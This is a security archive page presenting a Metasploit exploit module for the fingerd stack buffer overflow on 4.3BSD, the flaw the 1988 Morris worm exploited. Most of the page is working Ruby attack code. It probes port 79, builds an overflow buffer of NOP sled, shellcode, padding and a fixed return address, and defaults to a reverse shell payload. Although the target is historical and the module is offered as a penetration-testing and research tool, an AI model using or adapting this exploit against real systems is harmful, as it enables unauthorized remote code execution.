what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Morris Worm fingerd Stack Buffer Overflow

Morris Worm fingerd Stack Buffer Overflow
Posted Nov 5, 2018
Authored by wvu, Robert Tappan Morris, Cliff Stoll | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in fingerd on 4.3BSD. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

tags | exploit, worm, overflow
SHA-256 | 5f407350c1d9280dd4c5077754d558bd32be9404ebe5f76676b4a472abb2658d

Morris Worm fingerd Stack Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

# This is so one-off that we define it here
ARCH_VAX = 'vax'

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Morris Worm fingerd Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in fingerd on 4.3BSD.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
},
'Author' => [
'Robert Tappan Morris', # Discovery? Exploit and worm for sure
'Cliff Stoll', # The Cuckoo's Egg epilogue and inspiration
'wvu' # Module, payload, and additional research
],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis
['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details
['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
# And credit to the innumerable VAX ISA docs on the Web
],
'DisclosureDate' => 'Nov 2 1988',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_VAX,
'Privileged' => false, # Depends on inetd.conf, usually "nobody"
'Targets' => [
# https://en.wikipedia.org/wiki/Source_Code_Control_System
['@(#)fingerd.c 5.1 (Berkeley) 6/6/85',
'Ret' => 0x7fffe9b0,
'Payload' => {
'Space' => 403,
'BadChars' => "\n",
'Encoder' => 'generic/none', # There is no spoon
'DisableNops' => true # Hardcoded NOPs
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
))

register_options([Opt::RPORT(79)])
end

def check
token = rand_text_alphanumeric(8..42)

connect
sock.put("#{token}\n")
res = sock.get_once

return CheckCode::Unknown unless res

if res.include?("Login name: #{token}")
return CheckCode::Detected
end

CheckCode::Safe
rescue Rex::ConnectionError => e
vprint_error(e.message)
CheckCode::Unknown
ensure
disconnect
end

def exploit
# Start by generating our custom VAX shellcode
shellcode = payload.encoded

# 0x01 is NOP in VAX-speak
nops = "\x01" * (target.payload_space - shellcode.length)

# This overwrites part of the buffer
junk = rand_text_alphanumeric(109)

# This zeroes out part of the stack frame
frame = "\x00" * 16

# Finally, pack in our return address
ret = [target.ret].pack('V') # V is for VAX!

# The newline is for gets(3)
sploit = nops + shellcode + junk + frame + ret + "\n"

# Fire away
print_status('Connecting to fingerd')
connect
print_status("Sending #{sploit.length}-byte buffer")
sock.put(sploit)

# Hat tip @bcoles
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
ensure
disconnect
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close